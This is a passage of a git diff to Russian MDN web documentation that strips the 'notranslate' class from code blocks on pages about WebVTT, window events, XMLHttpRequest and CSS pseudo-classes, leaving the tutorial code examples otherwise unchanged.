href="https://w3c.github.io/webvtt/#dom-vttregion-vttregion" id="ref-for-dom-vttregion-vttregion-1">Constructor</a>] interface <dfn>VTTRegion</dfn> { attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-width" id="ref-for-dom-vttregion-width-1">width</a>; @@ -819,11 +819,11 @@ interface <dfn>VTTRegion</dfn> { <li>The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.</li> </ol> -<pre class="notranslate">WEBVTT</pre> +<pre>WEBVTT</pre> <p> 3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:</p> -<pre class="notranslate">00:01.000 --> 00:05.000</pre> +<pre>00:01.000 --> 00:05.000</pre> <ol> <li>On the next line you can write the caption for this cue which will run from 1<sup>st</sup> second to the 5<sup>th</sup> second, inclusive.</li> @@ -836,7 +836,7 @@ interface <dfn>VTTRegion</dfn> { <p>It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:</p> -<pre class="notranslate">WEBVTT +<pre>WEBVTT 04:02.500 --> 04:05.000 J’ai commencé le basket à l'âge de 13, 14 ans diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html index 2c5bc0a27d..74c2ec65e6 100644 --- a/files/ru/web/api/window/beforeunload_event/index.html +++ b/files/ru/web/api/window/beforeunload_event/index.html @@ -51,7 +51,7 @@ translation_of: Web/API/Window/beforeunload_event <p>В HTML-спецификации указано, что авторы должны использовать метод {{domxref("Event.preventDefault()")}}, а не {{domxref("Event.returnValue")}}. Однако, это поддерживается не всеми браузерами.</p> -<pre class="brush: js notranslate">window.addEventListener('beforeunload', (event) => { +<pre class="brush: js">window.addEventListener('beforeunload', (event) => { // Отмените событие, как указано в стандарте. event.preventDefault(); // Chrome требует установки возвратного значения. diff --git a/files/ru/web/api/window/cancelanimationframe/index.html b/files/ru/web/api/window/cancelanimationframe/index.html index 897d147ae0..9f02501a9a 100644 --- a/files/ru/web/api/window/cancelanimationframe/index.html +++ b/files/ru/web/api/window/cancelanimationframe/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Window/cancelAnimationFrame <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.cancelAnimationFrame(<em>requestID</em>); +<pre class="syntaxbox">window.cancelAnimationFrame(<em>requestID</em>); </pre> <h3 id="Параметры">Параметры</h3> @@ -21,7 +21,7 @@ translation_of: Web/API/Window/cancelAnimationFrame <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || +<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame; var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame; diff --git a/files/ru/web/api/window/ongamepadconnected/index.html b/files/ru/web/api/window/ongamepadconnected/index.html index db5f8eecd4..5d7c5a5a2c 100644 --- a/files/ru/web/api/window/ongamepadconnected/index.html +++ b/files/ru/web/api/window/ongamepadconnected/index.html @@ -11,12 +11,12 @@ translation_of: Web/API/Window/ongamepadconnected <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.ongamepadconnected = function() { ... }; +<pre class="syntaxbox">window.ongamepadconnected = function() { ... }; </pre> <h2 id="Пример">Пример</h2> -<pre class="brush:js; line-numbers language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepadconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span> +<pre class="brush:js; line-numbers language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepadconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// All buttons and axes values can be accessed through</span> event<span class="punctuation token">.</span>gamepad<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> diff --git a/files/ru/web/api/window/ongamepaddisconnected/index.html b/files/ru/web/api/window/ongamepaddisconnected/index.html index 2769b29f4c..acff189b81 100644 --- a/files/ru/web/api/window/ongamepaddisconnected/index.html +++ b/files/ru/web/api/window/ongamepaddisconnected/index.html @@ -11,12 +11,12 @@ translation_of: Web/API/Window/ongamepaddisconnected <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.ongamepaddisconnected = function() { ... }; +<pre class="syntaxbox">window.ongamepaddisconnected = function() { ... }; </pre> <h2 id="Пример">Пример</h2> -<pre class="brush:js; line-numbers language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepaddisconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> +<pre class="brush:js; line-numbers language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepaddisconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// A gamepad has been disconnected</span> <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html index 7649842dc6..8f2a58bfae 100644 --- a/files/ru/web/api/window/requestanimationframe/index.html +++ b/files/ru/web/api/window/requestanimationframe/index.html @@ -18,7 +18,7 @@ original_slug: DOM/window.requestAnimationFrame <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">window.requestAnimationFrame(callback);</pre> +<pre class="brush: js">window.requestAnimationFrame(callback);</pre> <h3 id="Parameters">Параметры</h3> @@ -35,7 +35,7 @@ original_slug: DOM/window.requestAnimationFrame <h2 id="Notes">Пример</h2> -<pre class="brush: js notranslate">var start = null; +<pre class="brush: js">var start = null; var element = document.getElementById('SomeElementYouWantToAnimate'); function step(timestamp) { diff --git a/files/ru/web/api/windowclient/index.html b/files/ru/web/api/windowclient/index.html index 3f05357c09..e5d5134b85 100644 --- a/files/ru/web/api/windowclient/index.html +++ b/files/ru/web/api/windowclient/index.html @@ -40,7 +40,7 @@ translation_of: Web/API/WindowClient <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">self.addEventListener('notificationclick', function(event) { +<pre class="brush: js">self.addEventListener('notificationclick', function(event) { console.log('On notification click: ', event.notification.tag); event.notification.close(); diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html index 5c168c1a61..efcf2ad0d7 100644 --- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/WindowEventHandlers/onpopstate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">window.onpopstate = <var>funcRef</var>; +<pre class="syntaxbox">window.onpopstate = <var>funcRef</var>; </pre> <ul> @@ -26,7 +26,7 @@ translation_of: Web/API/WindowEventHandlers/onpopstate <p>В качестве примера, страница <code>http://example.com/example.html</code>, исполняя нижеследующий код, сгенерирует всплывающие сообщения, как показано в комментариях:</p> -<pre class="brush:js notranslate">window.onpopstate = function(event) { +<pre class="brush:js">window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + JSON.stringify(event.state)); }; diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html index 30e59c5b3e..ef2736acac 100644 --- a/files/ru/web/api/workerglobalscope/importscripts/index.html +++ b/files/ru/web/api/workerglobalscope/importscripts/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/WorkerGlobalScope/importScripts <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">self.importScripts('foo.js'); +<pre class="brush: js">self.importScripts('foo.js'); self.importScripts('foo.js', 'bar.js', ...);</pre> <h3 id="Параметры">Параметры</h3> @@ -41,7 +41,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre> <p>Если вы хотите использовать некоторую функциональность, определённую файлом <code>foo.js</code>, необходимо сделать следующее:</p> -<pre class="brush: js notranslate">importScripts('foo.js');</pre> +<pre class="brush: js">importScripts('foo.js');</pre> <p><code>importScripts()</code> и <code>self.importScripts()</code> по сути эквивалентны — и то и другое вызывает функцию <code>importScripts()</code> в области видимости воркера.</p> diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html index ee92d0ca3e..ebea98c5b5 100644 --- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html +++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data <p>В этом примере изображение считывается как двоичный файл и создаётся 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); oReq.responseType = "arraybuffer"; @@ -28,7 +28,7 @@ oReq.send(null); <p>Альтернатива вышеуказанному методу использует интерфейс {{domxref("Blob")}} для непосредственного построения Blob с данными arraybuffer.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); oReq.responseType = "arraybuffer"; @@ -42,7 +42,7 @@ oReq.send(); <p>Также вы можете прочитать двоичный файл как {{domxref ("Blob")}}, установив строку" blob " в свойство responseType.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("GET", "/myfile.png", true); oReq.responseType = "blob"; @@ -57,7 +57,7 @@ oReq.send();</pre> <p>Функция load_binary_resource(), показанная ниже, загружает двоичные данные из указанного URL, возвращая их вызывающему объекту.</p> -<pre class="brush: js notranslate">function load_binary_resource(url) { +<pre class="brush: js">function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com] @@ -70,7 +70,7 @@ oReq.send();</pre> <p>Магия происходит в строке 5, которая переопределяет тип MIME, заставляя браузер рассматривать его как обычный текст, используя пользовательский набор символов. Это говорит браузеру не анализировать его и пропускать байты через необработанные.</p> -<pre class="brush: js notranslate">var filestream = load_binary_resource(url); +<pre class="brush: js">var filestream = load_binary_resource(url); var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte (f7) </pre> @@ -82,7 +82,7 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte ( <p>Библиотека <a href="https://github.com/jDataView/jBinary">jBinary</a> для работы с бинарными данными в JavaScript позволяет загрузить данные из любого источника, автоматически определяя лучший способ для этого в текущем браузере или Node.js:</p> -<pre class="brush: js notranslate">jBinary.load(url).then(function (binary) { +<pre class="brush: js">jBinary.load(url).then(function (binary) { // здесь аргумент `binary` может использовться для обработки данных // в любом формате (строка, массив байтов, структура данных и т. д.) }); @@ -94,7 +94,7 @@ var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte ( <p>В примере ниже на лету создаётся текстовый файл и отправляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p> -<pre class="brush: js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush: js">var oReq = new XMLHttpRequest(); oReq.open("POST", url, true); oReq.onload = function (oEvent) { // Uploaded. @@ -109,7 +109,7 @@ oReq.send(blob); <p>Точно так же можно отправлять типизированные массивы JavaScript.</p> -<pre class="brush: js notranslate">var myArray = new ArrayBuffer(512); +<pre class="brush: js">var myArray = new ArrayBuffer(512); var longInt8View = new Uint8Array(myArray); for (var i=0; i< longInt8View.length; i++) { @@ -133,7 +133,7 @@ xhr.send(myArray); <p>В этом примере двоичные данные передаются асинхронно методом <code>POST</code> и нестандартным методом Firefox's <code>sendAsBinary()</code>.</p> -<pre class="brush: js notranslate">var req = new XMLHttpRequest(); +<pre class="brush: js">var req = new XMLHttpRequest(); req.open("POST", url, true); // установите заголовок и тип данных req.setRequestHeader("Content-Length", 741); @@ -148,7 +148,7 @@ req.sendAsBinary(aBody); <p>Кроме того, чтобы отправить бинарные данные можно передать экземпляр {{interface("nsIFileInputStream")}} в метод <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. В этом случае заголовок <code>Content-Length</code> заполнять явно необязательно, поскольку информация получается из потока автоматически:</p> -<pre class="brush: js notranslate">// Создание потока из файла. +<pre class="brush: js">// Создание потока из файла. var stream = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html index f2628fa1fa..e295b94612 100644 --- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest <p>Для отправки HTTP-запроса нужно создать XMLHttpRequest-объект, открыть URL и отправить запрос. После выполнения запроса можно получить и обработать тело и статус ответа.</p> -<pre class="brush: js notranslate">function reqListener () { +<pre class="brush: js">function reqListener () { console.log(this.responseText); } @@ -54,7 +54,7 @@ oReq.send();</pre> <p>Хотя обычно <code>XMLHttpRequest</code> используется, чтобы получать и загружать текст, с его помощью можно обмениваться и двоичными данными. Есть несколько проверенных способов заставить <code>XMLHttpRequest</code> посылать двоичные данные. Они используют метод <code>XMLHttpRequest</code>.overrideMimeType().</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); // получаем необработанные данные в виде двоичной строки oReq.overrideMimeType("text/plain; charset=x-user-defined"); @@ -63,7 +63,7 @@ oReq.overrideMimeType("text/plain; charset=x-user-defined"); <p>Спецификация XMLHttpRequest Level 2 добавляет новые атрибуты <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">responseType</a>, значительно облегчающие работу с двоичными данными:</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.responseType = "arraybuffer"; @@ -82,7 +82,7 @@ oReq.send(); <p>Отслеживание событий процесса загрузки следует спецификации Web API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html">progress events</a>: эти события реализуют интерфейс {{domxref("ProgressEvent")}}.</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.addEventListener("progress", updateProgress, false); oReq.addEventListener("load", transferComplete, false); @@ -123,7 +123,7 @@ function transferCanceled(evt) { <p>События <code>progress</code> есть и у входящих, и у исходящих передач. События входящих передач создаются для объекта <code>XMLHttpRequest</code>, как показано в примере выше; исходящих —для <code>XMLHttpRequest.upload:</code></p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.upload.addEventListener("progress", updateProgress, false); oReq.upload.addEventListener("load", transferComplete, false); @@ -147,7 +147,7 @@ oReq.open(); <p>Также возможно засечь все три события, завершающие загрузку (<code>abort</code>, <code>load</code>, or <code>error</code>) через событие <code>loadend</code>:</p> -<pre class="brush:js notranslate">req.addEventListener("loadend", loadEnd, false); +<pre class="brush:js">req.addEventListener("loadend", loadEnd, false); function loadEnd(e) { alert("Передача данных завершена (но мы не знаем, успешно ли)."); @@ -188,14 +188,14 @@ function loadEnd(e) { <li> <p>Метод: <code>POST</code>; тип кодирования: <code>application/x-www-form-urlencoded</code> (по умолчанию):</p> - <pre class="notranslate">Content-Type: application/x-www-form-urlencoded + <pre>Content-Type: application/x-www-form-urlencoded foo=bar&baz=The+first+line.&#37;0D%0AThe+second+line.%0D%0A</pre> </li> <li> <p>Метод: <code>POST</code>; тип кодирования: <code>text/plain</code>:</p> - <pre class="notranslate">Content-Type: text/plain + <pre>Content-Type: text/plain foo=bar baz=The first line. @@ -222,14 +222,14 @@ The second line. <p>Instead, if you are using the <code>GET</code> method, a string like the following will be simply added to the URL:</p> -<pre class="notranslate">?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.</pre> +<pre>?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.</pre> <h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4> <p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все ещё дидактический) фреймворк, </strong>который всё же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -475,7 +475,7 @@ var AJAXSubmit = (function () { <p>Для того, чтобы произвести его тест, создайте страницу с названием <strong>register.php</strong> (и укажите атрибут <code>action</code> одной из данных форм) и добавьте данный <em>минимальный</em> контент</p> -<pre class="brush: php notranslate"><?php +<pre class="brush: php"><?php /* register.php */ header("Content-type: text/plain"); @@ -502,7 +502,7 @@ print_r($_FILES); <p>Синтаксис данного скрипта представлен ниже:</p> -<pre class="syntaxbox notranslate">AJAXSubmit(myForm);</pre> +<pre class="syntaxbox">AJAXSubmit(myForm);</pre> <div class="note"><strong>Примечание:</strong> Данный фреймворк использует <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API для передачи загрузочных файлов. Это новый API и его невозможно использовать IE9 и ниже. В связи с этим, загрузки только с использованием AJAX воспринимаются, лишь как <strong>экспериментальные</strong>. Если вам не требуется загружать бинарные файлы, то данный фреймворк работает в большинстве современных браузерах.</div> @@ -515,7 +515,7 @@ print_r($_FILES); <p>The <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> constructor lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Using FormData Objects</a> page. For didactic purpose only we post here <strong>a <em>translation</em> of <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous example</a> transformed so as to make use of the <code>FormData</code> API</strong>. Note the brevity of the code:</p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -636,7 +636,7 @@ function AJAXSubmit (oFormElement) { <h2 id="Получить_дату_последнего_изменения">Получить дату последнего изменения</h2> -<pre class="brush: js notranslate">function getHeaderTime () { +<pre class="brush: js">function getHeaderTime () { alert(this.getResponseHeader("Last-Modified")); /* A valid GMTString date or null */ } @@ -649,7 +649,7 @@ oReq.send();</pre> <p>Let's create these two functions:</p> -<pre class="brush: js notranslate">function getHeaderTime () { +<pre class="brush: js">function getHeaderTime () { var nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)), @@ -673,7 +673,7 @@ function ifHasChanged(sURL, fCallback) { <p>Test:</p> -<pre class="brush: js notranslate">/* Let's test the file "yourpage.html"... */ +<pre class="brush: js">/* Let's test the file "yourpage.html"... */ ifHasChanged("yourpage.html", function (nModif, nVisit) { alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!"); @@ -689,7 +689,7 @@ ifHasChanged("yourpage.html", function (nModif, nVisit) { <p>Для кросс-браузерного обхода кеширования в конец URL-запроса достаточно добавить случайную строку в GET-параметры, то есть сразу после «?», например:</p> -<pre class="notranslate">http://foo.com/bar.html -> http://foo.com/bar.html?12345 +<pre>http://foo.com/bar.html -> http://foo.com/bar.html?12345 http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345 </pre> @@ -697,7 +697,7 @@ http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz& <p>Автоматизировать этот подход можно следующим сниппетом:</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true); oReq.send(null);</pre> @@ -718,12 +718,12 @@ oReq.send(null);</pre> <p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p> -<pre class="brush: js notranslate">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); +<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); </pre> <p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason. If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p> -<pre class="brush:js notranslate">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"] +<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"] .getService(Components.interfaces.nsIAppShellService) .hiddenDOMWindow; var oReq = new XMLHttpRequest();</pre> diff --git a/files/ru/web/api/xmlhttprequest/withcredentials/index.html b/files/ru/web/api/xmlhttprequest/withcredentials/index.html index 6926b01f82..02d872e437 100644 --- a/files/ru/web/api/xmlhttprequest/withcredentials/index.html +++ b/files/ru/web/api/xmlhttprequest/withcredentials/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/XMLHttpRequest/withCredentials <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var xhr = new XMLHttpRequest(); +<pre class="brush: js">var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/', true); xhr.withCredentials = true; xhr.send(null);</pre> diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html index 2ad3e71f57..824f55af0e 100644 --- a/files/ru/web/css/_colon_any-link/index.html +++ b/files/ru/web/css/_colon_any-link/index.html @@ -18,7 +18,7 @@ translation_of: 'Web/CSS/:any-link' <p>Селектор <a href="/en-US/docs/Web/CSS/Pseudo-classes">псевдокласса</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:any-link</code></strong> представляет собой элемент, который действует как исходный якорь гиперссылки, независимо от того, была ли она посещена. Другими словами, он соответствует всем элементам {{HTMLElement("a")}}, {{HTMLElement("area")}}, или {{HTMLElement("link")}}, которые имеют атрибут <code>href</code>. Таким образом, он соответствует всем элементам, которые используют {{cssxref(":link")}} или {{cssxref(":visited")}}.</p> -<pre class="brush: css no-line-numbers language-css notranslate"><code class="language-css"><span class="selector token"><span class="pseudo-class token">/* Выбирает любой элемент, который будет соответствовать:link или :visited */ +<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="selector token"><span class="pseudo-class token">/* Выбирает любой элемент, который будет соответствовать:link или :visited */ :any-link</span> </span><span class="punctuation token">{</span> <span class="property token">color</span><span class="punctuation token">:</span> green<span class="punctuation token">;</span> <span class="punctuation token">}</span></code></pre> @@ -31,13 +31,13 @@ translation_of: 'Web/CSS/:any-link' <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><a href="https://example.com">External link</a><br> +<pre class="brush: html"><a href="https://example.com">External link</a><br> <a href="#">Internal target link</a><br> <a>Placeholder link (won't get styled)</a></pre> <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">a:any-link { +<pre class="brush: css">a:any-link { border: 1px solid blue; color: orange; } diff --git a/files/ru/web/css/_colon_empty/index.html b/files/ru/web/css/_colon_empty/index.html index b922f9a29c..de1b0fc481 100644 --- a/files/ru/web/css/_colon_empty/index.html +++ b/files/ru/web/css/_colon_empty/index.html @@ -18,12 +18,12 @@ translation_of: 'Web/CSS/:empty' <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><element>:empty { <em>/* стили</em> */ } +<pre class="syntaxbox"><element>:empty { <em>/* стили</em> */ } </pre> <h2 id="Examples">Примеры</h2> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { background: red; height: 200px; width: 200px; @@ -34,7 +34,7 @@ translation_of: 'Web/CSS/:empty' } </pre> -<pre class="brush: html notranslate"><div class="box"><!-- Я буду лаймовым --></div> +<pre class="brush: html"><div class="box"><!-- Я буду лаймовым --></div> <div class="box">Я буду красным</div> <div class="box"> <!-- Я буду красным, так как перед комментарием стоят пробелы --> diff --git a/files/ru/web/css/_colon_first/index.html b/files/ru/web/css/_colon_first/index.html index 82f0a46dbc..5f83d32cd6 100644 --- a/files/ru/web/css/_colon_first/index.html +++ b/files/ru/web/css/_colon_first/index.html @@ -12,7 +12,7 @@ translation_of: 'Web/CSS/:first' <p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B">псевдокласс</a> <strong><code>:first</code></strong> используется с @-правилом {{cssxref("@page")}}, представляя первую страницу документа при печати.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает первую страницу при печати */ +<pre class="brush: css no-line-numbers">/* Выбирает первую страницу при печати */ @page :first { margin-left: 50%; margin-top: 50%; @@ -30,14 +30,14 @@ translation_of: 'Web/CSS/:first' <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><p>Первая страница.</p> +<pre class="brush: html"><p>Первая страница.</p> <p>Вторая страница.</p> <button>Напечатать</button> </pre> <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">@page :first { +<pre class="brush: css">@page :first { margin-left: 50%; margin-top: 50%; } @@ -49,7 +49,7 @@ p { <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">document.querySelector("button").onclick = function () { +<pre class="brush: js">document.querySelector("button").onclick = function () { window.print(); } </pre> diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html index 0947a99d1e..6a60885ae1 100644 --- a/files/ru/web/css/_colon_focus-visible/index.html +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -19,14 +19,14 @@ translation_of: 'Web/CSS/:focus-visible' <p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щёлкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p> -<pre class="brush: html notranslate"><input value="Default styles"><br> +<pre class="brush: html"><input value="Default styles"><br> <button>Default styles</button><br> <input class="focus-only" value=":focus only"><br> <button class="focus-only">:focus only</button><br> <input class="focus-visible-only" value=":focus-visible only"><br> <button class="focus-visible-only">:focus-visible only</button></pre> -<pre class="brush: css highlight[9] notranslate">input, button { +<pre class="brush: css highlight[9]">input, button { margin: 10px; } @@ -45,9 +45,9 @@ translation_of: 'Web/CSS/:focus-visible' <p>Пользовательский элемент управления, такой как кнопка <a href="/en-US/docs/User:Andreas_Wuest/Custom_Elements">настраиваемого элемента</a>, может использовать: focus-visible для выборочного применения индикатора фокуса только к фокусу клавиатуры. Это соответствует собственному поведению фокуса для таких элементов управления, как {{htmlelement ("button")}}.</p> -<pre class="brush: html notranslate"><custom-button tabindex="0" role="button">Click Me</custom-button></pre> +<pre class="brush: html"><custom-button tabindex="0" role="button">Click Me</custom-button></pre> -<pre class="brush: css highlight[13, 19] notranslate">custom-button { +<pre class="brush: css highlight[13, 19]">custom-button { display: inline-block; margin: 10px; } diff --git a/files/ru/web/css/_colon_focus-within/index.html b/files/ru/web/css/_colon_focus-within/index.html index 1a8c179fab..a60adff99c 100644 --- a/files/ru/web/css/_colon_focus-within/index.html +++ b/files/ru/web/css/_colon_focus-within/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:focus-within' <p><a href="/en-US/docs/Web/CSS">CSS</a> 